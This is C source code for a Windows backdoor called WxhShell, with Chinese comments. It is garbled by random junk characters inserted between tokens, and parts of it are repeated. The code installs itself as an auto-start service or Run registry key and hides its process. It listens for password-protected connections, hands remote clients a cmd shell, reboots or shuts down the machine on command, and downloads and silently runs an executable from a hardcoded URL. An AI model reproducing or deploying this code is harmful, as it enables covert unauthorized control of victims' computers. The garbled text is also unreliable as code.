<hEI W8-vF++R HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Jh4pY#aF if(NULL == hInst ) return 0; N]ebKe 9B>P Qbs g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m}beT~FT_ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (6
RWI# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A&jR-%JG J{5p4bkb if (!NtQueryInformationProcess) return 0; 8h=K S !X[7m hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3/c%4b.Z if(!hProcess) return 0; f"4w@X2F n-GoG(s..b if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IO2@^jup puh-\Q/P CloseHandle(hProcess); _Db&f}.` h>Z`& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T}"[f/:N/ if(hProcess==NULL) return 0; j(>xP*il D mky!Cp HMODULE hMod; V8pZr+AJ char procName[255]; L)9Z Op5 unsigned long cbNeeded; :/"5x ~g@}A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }YM[aq?6 =<K6gC27 CloseHandle(hProcess); [e{W:7uFV 6y^GMlsI if(strstr(procName,"services")) return 1; // 以服务启动 mwZ)PySm) m !i`|]m return 0; // 注册表启动 <29K!
[ } E},zB*5TH bV"t;R9 // 主模块 j^hLn> int StartWxhshell(LPSTR lpCmdLine) T_9o0Q k { & Yx12B\ SOCKET wsl; l<7SB5 BOOL val=TRUE; ~Jj~W+h int port=0; 8L6b:$Y3@C struct sockaddr_in door; y(^\]-fE {&6i$4T if(wscfg.ws_autoins) Install(); bUYjmb2g) DhsvN&yNM port=atoi(lpCmdLine); O*W<za; |TR
+Wn if(port<=0) port=wscfg.ws_port; Y;
to9Kv$ 8f65;lyN WSADATA data; d..JW{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?|\wJrM ] NBLjBa%eL if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [Q/kNK setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1<*U:W
$g door.sin_family = AF_INET; ,]Xn9W door.sin_addr.s_addr = inet_addr("127.0.0.1"); lJT"aXt'M door.sin_port = htons(port); ,g,Hb\_R) _c5*9')-) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H/={RuU closesocket(wsl); ,*?[Rg0]+ return 1; tvq((2 } w~Vqg:'\$ eg1F[~YL/ if(listen(wsl,2) == INVALID_SOCKET) { dep"$pys> closesocket(wsl); @~UQU)-( return 1; m
-hZ5i } 9jM7z/Ff Wxhshell(wsl); fc[_~I' WSACleanup(); k,f/9e+# x($Djx return 0; =q`T|9v Wcm8,?* } )}t't" mZjpPlJ // 以NT服务方式启动
X>P|-n# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <^_crJONom { y~VI,82* DWORD status = 0; /SQ/$`1{ DWORD specificError = 0xfffffff; vAqj4:j 1xkrhqq serviceStatus.dwServiceType = SERVICE_WIN32; D{[{ &1\)r serviceStatus.dwCurrentState = SERVICE_START_PENDING; 4z9lk^#"X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kRBO] serviceStatus.dwWin32ExitCode = 0; `u PLyS. serviceStatus.dwServiceSpecificExitCode = 0; &g1\0t serviceStatus.dwCheckPoint = 0; >}W[>WReI serviceStatus.dwWaitHint = 0; Y:, rN \<09.q<8 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H\\FAOj if (hServiceStatusHandle==0) return; r\Yh'cRW{ r\Kcg~D> status = GetLastError(); Ym!e}`A\F if (status!=NO_ERROR) zNdkwj p+ { 4v3gpLH serviceStatus.dwCurrentState = SERVICE_STOPPED; v\@RwtP serviceStatus.dwCheckPoint = 0; 7')W+`o8eL serviceStatus.dwWaitHint = 0; X{OWDy serviceStatus.dwWin32ExitCode = status; o)^Wz serviceStatus.dwServiceSpecificExitCode = specificError; DuZ Zu SetServiceStatus(hServiceStatusHandle, &serviceStatus); NY.* S6 return; o[iN/ } ]dI^
S KAI2[ gs serviceStatus.dwCurrentState = SERVICE_RUNNING; X;Sb^c"j1 serviceStatus.dwCheckPoint = 0; 1EEcNtpub] serviceStatus.dwWaitHint = 0; T<?kH if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f5FEHyj| } ;l
ZKgi8` wWiYxBeN // 处理NT服务事件,比如:启动、停止 a.}#nSYP VOID WINAPI NTServiceHandler(DWORD fdwControl) MGt>:&s(] { V
K 7 switch(fdwControl) /lu|FWbEw { J{Kw@_ypP case SERVICE_CONTROL_STOP: jy?*` q1] serviceStatus.dwWin32ExitCode = 0; J'$NBws serviceStatus.dwCurrentState = SERVICE_STOPPED; !*NDsC9 serviceStatus.dwCheckPoint = 0; `Hlf.>b1 serviceStatus.dwWaitHint = 0; |%v:>XEO { 4n7Kz_!SVf SetServiceStatus(hServiceStatusHandle, &serviceStatus); fx[&"$X } orH6R8P] return; }6/M5zF3 case SERVICE_CONTROL_PAUSE: vk48&8 serviceStatus.dwCurrentState = SERVICE_PAUSED; 9&AO break; -bzlp7q* case SERVICE_CONTROL_CONTINUE: a*U[;( serviceStatus.dwCurrentState = SERVICE_RUNNING; $5)#L$!,] break; K4<"XF1A: case SERVICE_CONTROL_INTERROGATE: ,.>9$( s break; H~:oW~Ah }; ,v>;/qm SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4oiE@y&{4 } a'?;;ZC- [Tp?u8$p` // 标准应用程序主函数 m1Y a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #NYnZ^6e { fJc( az0=jou<Zl // 获取操作系统版本 v#%rjml[ OsIsNt=GetOsVer(); e,_Sj(R8 GetModuleFileName(NULL,ExeFile,MAX_PATH); ZZI}
Ot{ $Z#~wsw // 从命令行安装 B=& [Z2 if(strpbrk(lpCmdLine,"iI")) Install(); VPYLDg.' klT?h[I! // 下载执行文件 s_IFl5D] if(wscfg.ws_downexe) { x,25ROaHY if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
S
W%>8 WinExec(wscfg.ws_filenam,SW_HIDE); i~]60M> } K}re{y BNCM{}e if(!OsIsNt) { oOpEpQ}}q // 如果时win9x,隐藏进程并且设置为注册表启动 C?gqX0[ q HideProc(); GEc-<`- StartWxhshell(lpCmdLine); J4::.r } sT2`y$' else xB Wl|j if(StartFromService()) cLf90|YFp // 以服务方式启动 Twa(RjB< StartServiceCtrlDispatcher(DispatchTable); hHJvLs>^ else n~ad#iN // 普通方式启动 n!/0yR2S StartWxhshell(lpCmdLine); |w|c!;, ?;~E*kzO& return 0; ?YL JXq } Tty'ysH
JHa1lj ]j>xQm\ @iuX~QA[9 =========================================== 6I"KomJ9 _D{A`z f)T\ (yP1}? $TXiWW+ /ZV2f3;t " .4%z$(+6 gdf0 #include <stdio.h> }jCO@v; #include <string.h> pV ^+X} #include <windows.h> S2'a i #include <winsock2.h> Nq`;\E.M #include <winsvc.h> xcW\U^1d #include <urlmon.h> T4.wz
58 0"OEOYs} #pragma comment (lib, "Ws2_32.lib") qK.(wFx #pragma comment (lib, "urlmon.lib") {FvFah C`;igg$t_ #define MAX_USER 100 // 最大客户端连接数 b:F;6X0~Hl #define BUF_SOCK 200 // sock buffer %oa@2qJ^ #define KEY_BUFF 255 // 输入 buffer USyc D` JGHj(0j #define REBOOT 0 // 重启 ^>l <)$s #define SHUTDOWN 1 // 关机 ;9z|rWsF ?3BcjD0 #define DEF_PORT 5000 // 监听端口 Vt}QPNt #b;?:.m\= #define REG_LEN 16 // 注册表键长度 }X{rE|@ #define SVC_LEN 80 // NT服务名长度 o664b$5nsI 8C3oi&av/{ // 从dll定义API D^@@ P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }2;P`s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _|M8xI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %9>w|%+;U+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^.LB(GZ, BZW03e8| // wxhshell配置信息 V _~lME struct WSCFG { !rRBy3& int ws_port; // 监听端口 6m?<"y8] char ws_passstr[REG_LEN]; // 口令 v>`Fo[c int ws_autoins; // 安装标记, 1=yes 0=no ]F+|C char ws_regname[REG_LEN]; // 注册表键名 l0,VN,$Yl char ws_svcname[REG_LEN]; // 服务名 ^~V2xCu! char ws_svcdisp[SVC_LEN]; // 服务显示名 bI
;I<Qa char ws_svcdesc[SVC_LEN]; // 服务描述信息 tR>zBh_b char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L/ibnGhq] int ws_downexe; // 下载执行标记, 1=yes 0=no &qg6^& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rn)Gx25 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E\/[hT c~(61Sn] }; vgy.fP"@ O;RBK&P // default Wxhshell configuration 4q] 6[/ struct WSCFG wscfg={DEF_PORT, ZJ%NZAxy "xuhuanlingzhe", 5c::U= 1, Qq:}Z7
H "Wxhshell", +ytP5K7 "Wxhshell", m'}`+#C%) "WxhShell Service", }
TUr96 "Wrsky Windows CmdShell Service", &7\}Sqp "Please Input Your Password: ", :8@)W<>% 1, ;w .la "http://www.wrsky.com/wxhshell.exe", K^<?LXJF "Wxhshell.exe" {*+J`H_G2a }; -*mbalU,J m"~ddqSMT // 消息定义模块 7T[$BrO\ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d\>XfS char *msg_ws_prompt="\n\r? for help\n\r#>"; X:s~w#>R char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ua
\f]y char *msg_ws_ext="\n\rExit."; zp8x/,gwF char *msg_ws_end="\n\rQuit."; t[2b~peNI char *msg_ws_boot="\n\rReboot..."; ZX&e,X~V char *msg_ws_poff="\n\rShutdown..."; z` 6$p1U char *msg_ws_down="\n\rSave to "; GY?u+|Q 8WV5'cX char *msg_ws_err="\n\rErr!"; 05H:ZrUV char *msg_ws_ok="\n\rOK!"; UY9*)pEE .pPuBJL]< char ExeFile[MAX_PATH]; 8F>9CO:&N int nUser = 0; o}r_+\n HANDLE handles[MAX_USER]; .iR<5. int OsIsNt; k-jFT3b$ 3\RD%[} SERVICE_STATUS serviceStatus; r4P%.YO+X SERVICE_STATUS_HANDLE hServiceStatusHandle; kkZ}&OXS; ~"%'(j_4 // 函数声明 BC!) g+8 int Install(void); O$, int Uninstall(void); jo&j<3i int DownloadFile(char *sURL, SOCKET wsh); Mw,]Pt6~i int Boot(int flag); =LLpJ+ void HideProc(void); dCM&Yf}K int GetOsVer(void); `scW.Vem int Wxhshell(SOCKET wsl); cr -5t4<jK void TalkWithClient(void *cs); Sydl[c pH$ int CmdShell(SOCKET sock); `\(co;: int StartFromService(void); vmNo~clt\ int StartWxhshell(LPSTR lpCmdLine); G.O;[(3ab
yHE\Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vp; `!+z" VOID WINAPI NTServiceHandler( DWORD fdwControl ); l@SV!keQ G HQ~{ // 数据结构和表定义 1d+Kn Jy SERVICE_TABLE_ENTRY DispatchTable[] = ^`#7(S)a/ { bK }ZR*) {wscfg.ws_svcname, NTServiceMain}, T\Xf0|y {NULL, NULL} ~6t<`&f }; 3c#^@Bj(-e <LH6my // 自我安装 r{?qvl!q int Install(void) :4[>]&:u3 { ~Qif-|[V char svExeFile[MAX_PATH]; "Ia.$,k9 HKEY key; {Pe&J2
+ strcpy(svExeFile,ExeFile); - s'W^( ;\}dQsX // 如果是win9x系统,修改注册表设为自启动 (D[~Z! if(!OsIsNt) { Cm8h
b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D"$ 97 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7./WS,49 RegCloseKey(key);
).GM0-y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,Vj& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v B~VJKD RegCloseKey(key); 3d;J"e+? return 0; VWt=9D; } n&&C(#mBC } G"3KYBN> } }s?w-u+(c6 else { }9U_4k Ar~<l2,{r // 如果是NT以上系统,安装为系统服务 &b,A-1`w_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #]^C(qmb: if (schSCManager!=0) #k/T\PQ0s { Qt\:A!'jw SC_HANDLE schService = CreateService 6&<QjO ( q;QasAQS`p schSCManager, /T {R\ wscfg.ws_svcname, "x]7et, wscfg.ws_svcdisp, #a@ jt SERVICE_ALL_ACCESS, Y5ei:r|^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , R-W.$-rF SERVICE_AUTO_START, T1RY1hb|g> SERVICE_ERROR_NORMAL, ~x4]p|)</ svExeFile, @\gE{;a8 NULL, Z$c&Y>@) NULL, .
WJ NULL, qmPu D/c NULL, b^<7a& NULL im+g|9@% ); K5bR7f: if (schService!=0) [V8^}s}tF { $L|+Z>x CloseServiceHandle(schService); t:oq't CloseServiceHandle(schSCManager); Omn$O> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KCbOO8cQS strcat(svExeFile,wscfg.ws_svcname); /_expSPHl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]fh(b)8_, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2YQBw,gG RegCloseKey(key); dEkS T[Y3 return 0; *j <#5=l } s)3CosU } #/9Y}2G|] CloseServiceHandle(schSCManager); :.BjJ2[S } >D##94PZ } UWqX}T[^ dci,[TEGu return 1; Ln+ .$ C } cw0@Z0 g hkV^ [ // 自我卸载 xf8e" mD int Uninstall(void) &F;bg { %@aC5^Ovy+ HKEY key; #U3q
+d+^ i-WP#\s if(!OsIsNt) { 8{icY|:MTN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nnu#rtvZp} RegDeleteValue(key,wscfg.ws_regname); >x~Qa@s; RegCloseKey(key); |Q%nnN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #{k+^7aQ RegDeleteValue(key,wscfg.ws_regname); KG(l=? N RegCloseKey(key); !xg10N}I return 0; >*^SQ{9 } bq5we*"V } ns/*WH&[x } hSps9*y else { Mbly-l{| Ya<V@qd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L"T :#> if (schSCManager!=0) \7o7~pll { UH(w, R` SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :UKc:JVNM if (schService!=0) x
FvKjO) { NUh%\{ if(DeleteService(schService)!=0) { j39"iAn CloseServiceHandle(schService); \x\(36\u CloseServiceHandle(schSCManager); d?/g5[ return 0; o=lZl_5/u; } )C0Iy.N- CloseServiceHandle(schService); lEQj62zIQ } 6 pQo_l} CloseServiceHandle(schSCManager); [ 'B u } c|iTRco } {?cF2K# :yw(Co]f return 1; G ,`]2'(@ } anKflt3 |@'K]$vZ* // 从指定url下载文件 !b$~Sm) int DownloadFile(char *sURL, SOCKET wsh) Iy4REP| { kexvE 3 HRESULT hr; \2Q#' char seps[]= "/"; [*H h6 char *token; G]Im.x3O- char *file; tC/+ char myURL[MAX_PATH]; -2C^M> HZ char myFILE[MAX_PATH]; zf\$T,t) G}dq
ft5" strcpy(myURL,sURL); 3r?T|>| token=strtok(myURL,seps); 4~vn%O6n while(token!=NULL) O^3XhTW^\~ { 95/;II file=token; ZxCXru1 token=strtok(NULL,seps); 4jVd } 16~5 ;u >@Na6BH5v GetCurrentDirectory(MAX_PATH,myFILE); x_(K%0+Ca strcat(myFILE, "\\"); L5wFbc"u strcat(myFILE, file); zP$"6~. send(wsh,myFILE,strlen(myFILE),0); ;hd%wmE send(wsh,"...",3,0); GN+,9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gy'/)}}Z if(hr==S_OK) PFbkkQKsT return 0; 4Le{|B else 6>b#nFVJ return 1; '^'PdB P;IM -] } @,]$FBT"5
[a#*%H{OC // 系统电源模块 H<*n5r(c int Boot(int flag) +N|t:8qaf { >5t]Zlb` HANDLE hToken; E6?0/" TOKEN_PRIVILEGES tkp; 4Ub7T=LG {J;(K~>?m if(OsIsNt) { ABq#I'H#@2 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;;432^jD LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x*:"G'zT tkp.PrivilegeCount = 1; $A98h-*x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V#~.n;d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )qD V3 if(flag==REBOOT) {
Q6r
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YgQb(umK return 0; }e>OmfxDBt } {CgF{7` else { PD^Cj?wm if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fDChq[LAn return 0; Ece=loV*l } ]-w.x]I } 0.^67' else { V$ "]f6 if(flag==REBOOT) { =vb 'T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) suN}6CI return 0; 22E I`}"J } X/D%
cQ6 else { ca'c5*Fs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6 _#C vQ return 0; $N4i)>&T2 } \IOF 9)F } |u[@g`Z VB=jKMi return 1; Bdib)t[ } M"ZeK4qh r<$"T // win9x进程隐藏模块 Ro#O{ void HideProc(void) wHs4~"EY9 { V"A*B HQc^ybX5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7C~g?1 if ( hKernel != NULL ) +
$Lc'G+: { n-CFB:L pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q =26($ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xp]_>WGq FreeLibrary(hKernel); ({hW } PC& (1kJ &C6*"JZ4 return; }`_x%]EJ } L ?S#3@Pa Ne}x(uRn // 获取操作系统版本 .s3y^1C int GetOsVer(void) 2Jt*s$ { Y-]Ne"+vf OSVERSIONINFO winfo; b5l;bXp] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K^c%$n:}+ GetVersionEx(&winfo); }J_#N.y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i5czm?x return 1; _[y<u}) else ov|pXi<e return 0; 1*OZu.NdK } ;sY n=r $6/CTQ // 客户端句柄模块 9*? i89T int Wxhshell(SOCKET wsl) N?c!uO|h| { >'&|{s[m SOCKET wsh; P:m6:F@hO struct sockaddr_in client; \C"hL(4- DWORD myID; A7zL\U4 EskD)Sl while(nUser<MAX_USER) mfr7w+DK { +.66Ky`|[ int nSize=sizeof(client); Jmun^Q/h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J|DY
/v if(wsh==INVALID_SOCKET) return 1; A_I\6&b4 1raq;^e9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v=E(U4v9e if(handles[nUser]==0) N$P\$ closesocket(wsh); x+W,P else `~2I nUser++; B[;aNyd< } |6b&khAM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u Qz!of%x fmv,)UP return 0; i?'|}tK } '_FxxLAO 1( rN // 关闭 socket :} D TK void CloseIt(SOCKET wsh) Pk&sY' { >yqFO closesocket(wsh); h|OWtf4 nUser--; \?"kT}.. ExitThread(0); ,7SqRY,+ } af}JS2=$ Dh)(?"^9A // 客户端请求句柄 @J<RFgw# void TalkWithClient(void *cs) j-7aJj% { f;obK~b[ Zo}vV 2 SOCKET wsh=(SOCKET)cs; & DhdB0Hjf char pwd[SVC_LEN]; cs*"9nKl char cmd[KEY_BUFF]; #S"s8wdD
char chr[1]; n {..Q,z int i,j; jm,c Vo
wnHfjF while (nUser < MAX_USER) { v>0} v)<v S#S&_#$`,X if(wscfg.ws_passstr) {
fxc?+<P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `pfRY! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &o'$uLF~Y //ZeroMemory(pwd,KEY_BUFF); #hXxrN i=0; VI?kbqjo while(i<SVC_LEN) { Fmzkbt~oe =LKf.@]# // 设置超时 06[HE7 fd_set FdRead; Y-~MkB struct timeval TimeOut; 3|bbJ6*.< FD_ZERO(&FdRead); k \\e`= FD_SET(wsh,&FdRead); 'ji|'x T TimeOut.tv_sec=8; mEyIbMci TimeOut.tv_usec=0; $0Un'"`S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); piXL6V @c if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nBwDq^ 3zMaHh)mj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |g1Pr9{wy pwd=chr[0]; ':]Hj8t_ if(chr[0]==0xd || chr[0]==0xa) { Wjr^: d pwd=0; w|61dB break; H{1'- wB } 5RyxVC0< i++; 2Q;rSe._` } 5 hW#BB Jv?EV,S/e // 如果是非法用户,关闭 socket P 2)/!+`a if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g1@rY0O } se*k56, ZP
]Ok send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \=Od1 i send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uzIM?.H ;9'] na while(1) { #X2wy$GTG ahFK^ #s ZeroMemory(cmd,KEY_BUFF); HQMug -K/c~'%'* // 自动支持客户端 telnet标准 S" (Nf+ux j=0; `W.g1"o8W4 while(j<KEY_BUFF) { l[[^]__ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LuVL<W cmd[j]=chr[0]; Y++n0sK5< if(chr[0]==0xa || chr[0]==0xd) { cUn>gT cmd[j]=0; |-z"6F r- break; NdrR+t^# } *:ErZ UyQM j++; ay]l\d2!3 } ?} lqu7S G!lF5;Ad` // 下载文件 a*uG^~
). if(strstr(cmd,"http://")) { >ByqM{? send(wsh,msg_ws_down,strlen(msg_ws_down),0); zx@L sp if(DownloadFile(cmd,wsh)) @r(3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~i!I6d~ else PbFbihg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^tIYr<I } a'r1or4 else { $F NH:r< _7~q| switch(cmd[0]) { PcjeuJZ .o]9
HbIk5 // 帮助 204"\mv case '?': { U>@AE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !M(SEIc4A break; wN^^_ } rV} 5&N*c // 安装 VF g(: case 'i': { pCC^Hxa if(Install()) uh%
J send(wsh,msg_ws_err,strlen(msg_ws_err),0); N1sdWXG else }$g"|;<ha send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )0g!lCfb break; g:@4/+TSt } 5K-,k^T} // 卸载 Q<KF<K'0hg case 'r': { Zr =B8wuT if(Uninstall()) zKp R:F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P]i|Q{ else 5\h 6' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Pc.[k break; L-9;"]d~| } z, FPhbFn // 显示 wxhshell 所在路径 e)m6xiZ case 'p': { T3LVn<Lm\ char svExeFile[MAX_PATH]; OR37 strcpy(svExeFile,"\n\r"); 0A-yQzL| strcat(svExeFile,ExeFile); rhZp send(wsh,svExeFile,strlen(svExeFile),0); C6h[L break; _!Pi+l4p/} } 6']G HDK // 重启 lCBH3-0^ case 'b': { L,ax^] send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v#`> if(Boot(REBOOT)) ydj*Jy' send(wsh,msg_ws_err,strlen(msg_ws_err),0); rY8(`a else { *ae)<l3v closesocket(wsh); p"- %~%J= ExitThread(0); ] SLeWs } 06Q9X!xD break; hpYv*WH: } 0AF,} &$ // 关机 `Q#)N0 case 'd': { :$gs7<z{rm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wXZ9@(^ if(Boot(SHUTDOWN)) qk>SM|{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;PnN$g]Q else { =sefT@< closesocket(wsh); d$xvM ExitThread(0); %4t?X } 2J%L%6z8~ break; \I^"^'CP } 0c1=M|2 // 获取shell 9I$}=&" case 's': { BwGOn)KL CmdShell(wsh); D>o u, closesocket(wsh); &4#%xg ExitThread(0); +nim47 break; g0 ;;+z } cIC/3g}] // 退出 j]`hy" case 'x': { s{{8!Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jTZi<
Y:bB CloseIt(wsh); @<X[,Mj break; [dUAb } jC$~m#F // 离开 -N5h` Ii7 case 'q': { Da!vGr send(wsh,msg_ws_end,strlen(msg_ws_end),0); )OucJQ closesocket(wsh); L{l}G,j< WSACleanup(); v6| [p exit(1); p!)tA break; !0|&f>y } 2"j&_$#l5X } 2PUB@B'
+ } -nX{&Z3-s g
4|ai*^ // 提示信息 Eza^Tbq%j? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $: 1/`m19 } ;=E}PbZt2 } w (X}
"*V'
return; )"|wWu } V$;`#J$\b HU|qeSyel // shell模块句柄 zQt)>Qx_ int CmdShell(SOCKET sock) /L2n
~/ { K`ygW|?gt STARTUPINFO si; $Fy~xMA8O ZeroMemory(&si,sizeof(si)); g2*}XS3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kK
5~hpv si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 30(e6T; PROCESS_INFORMATION ProcessInfo; 7lJ8<EP9
u char cmdline[]="cmd"; xdY'i0fh CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bNtOqhi return 0; 0"+QWh } %u<r_^w5 UYQ@ub // 自身启动模式 .>PwbZ int StartFromService(void) K@!hrye { }g%&}`%' typedef struct <S;YNHLC { gu'+kw DWORD ExitStatus; '-G,7!.,r% DWORD PebBaseAddress; `ZP[-: ` DWORD AffinityMask; 99]s/KD2yb DWORD BasePriority; Y2N$&]O{ ULONG UniqueProcessId; e(`r"RrQ ULONG InheritedFromUniqueProcessId; qEdY]t } PROCESS_BASIC_INFORMATION; $[J\sokpY 3=UufI PROCNTQSIP NtQueryInformationProcess;
>Yv#t.! "/UPq6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; FgPmQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CPP9=CoR37 Yx ;j HANDLE hProcess; AP=SCq; PROCESS_BASIC_INFORMATION pbi; @e7_&EGR? AO5a HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *S4&V<W> if(NULL == hInst ) return 0; o5Knot)Oy y6s/S. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gt !Hm( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0{?%"t\/f NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <!|=_W6 gKIN* Od if (!NtQueryInformationProcess) return 0; *1>T c,mb WFqOVI*l hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kll,^A if(!hProcess) return 0; &N%-.&t' ;hFB]/.v if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jar?"o $ WWi2cI; CloseHandle(hProcess); Ja@?.gW I&x69 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z@Qf0
